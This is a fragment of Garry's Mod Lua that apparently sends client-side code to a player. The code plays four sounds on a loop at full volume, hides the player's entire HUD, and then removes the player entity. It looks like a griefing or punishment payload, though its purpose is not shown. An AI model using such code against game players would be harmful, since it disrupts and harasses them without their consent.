607 sounds[#sounds +1] = pChan
608 end )
609 end
610
611 timer.Create( "asdf", 1, 0, function()
612 if #sounds ~= 4 then return end
613 timer.Destroy( "asdf" )
614 for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
615 end )
616
617 hook.Add( "HUDShouldDraw", "newhud", function() return false end )
618 ]] )
619
620 pPlayer:Remove()
621end )